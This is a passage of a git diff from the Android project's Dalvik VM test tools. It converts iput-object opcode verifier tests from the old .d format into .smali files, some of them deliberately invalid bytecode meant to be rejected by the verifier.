+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_17;->st_i1:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.d
deleted file mode 100644
index 56d8da8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_18.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v2, v2, dot.junit.opcodes.iput_object.d.T_iput_object_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali
new file mode 100644
index 0000000..e2e7f35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_18.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v2, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.smali
new file mode 100644
index 0000000..f4844ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_2;
+.super Ljava/lang/Object;
+.source "T_iput_object_2.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x4d2
+
+    iput-object v0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_2;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.smali
new file mode 100644
index 0000000..6289c42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_20;
+.super Ljava/lang/Object;
+.source "T_iput_object_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/String;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_20;->st_o:Ljava/lang/String;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.d
deleted file mode 100644
index 19aa1cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_21.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_21
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali
new file mode 100644
index 0000000..dbe23fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_21.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_21;
+.super  Ljava/lang/Object;
+
+.field public  st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_21;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.d
deleted file mode 100644
index 8d7272e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_22.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali
new file mode 100644
index 0000000..85e0bb8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_22.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.d
deleted file mode 100644
index 296a14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_23.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_23
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali
new file mode 100644
index 0000000..2eff592
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_23.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.d
deleted file mode 100644
index 51bbb2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_24.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       iput-object v3, v3, dot.junit.opcodes.iput_object.d.T_iput_object_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali
new file mode 100644
index 0000000..fed4d0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_24.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       iput-object v3, v3, Ldot/junit/opcodes/iput_object/d/T_iput_object_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.smali
new file mode 100644
index 0000000..84eacf9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_3;
+.super Ljava/lang/Object;
+.source "T_iput_object_3.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_3;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.smali
new file mode 100644
index 0000000..f82484a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_30.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_30;
+.super Ljava/lang/Object;
+.source "T_iput_object_30.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_30;
+
+    const v1, 0x0
+
+    iput-object v1, v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_30;->st_i1:Ljava/lang/Object;
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.smali
new file mode 100644
index 0000000..bd8477d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_31.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_31;
+.super Ljava/lang/Object;
+.source "T_iput_object_31.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x0
+
+    iput-object v1, v0, Ldot/junit/opcodes/iput_object/d/T_iput_object_31;->st_i1:Ljava/lang/Object;
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.smali
new file mode 100644
index 0000000..cc8c752
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_4;
+.super Ljava/lang/Object;
+.source "T_iput_object_4.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p1, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_4;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.d
deleted file mode 100644
index 5e9f811..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_6.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_6
-.super java/lang/Object
-
-.field public  st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iput-object v3, v2, dot.junit.opcodes.iput_object.d.T_iput_object_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali
new file mode 100644
index 0000000..1ca7aca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_object_6.java"
+.class  public Ldot/junit/opcodes/iput_object/d/T_iput_object_6;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iput-object v3, v2, Ldot/junit/opcodes/iput_object/d/T_iput_object_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.smali
new file mode 100644
index 0000000..6c57cc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_7.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_object/d/T_iput_object_7;
+.super Ljava/lang/Object;
+.source "T_iput_object_7.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iput-object p0, p0, Ldot/junit/opcodes/iput_object/d/T_iput_object_7;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.d
deleted file mode 100644
index 971dec4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_object_8.java
-.class public dot.junit.opcodes.iput_object.d.T_iput_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iput_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_object/TestStubs/<init>()V
-
-       iput-object v2, v0, dot.junit.opcodes.iput_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_object/d/T_iput_object_8.smali
new file mode 100644
index 0000000..1776ab8
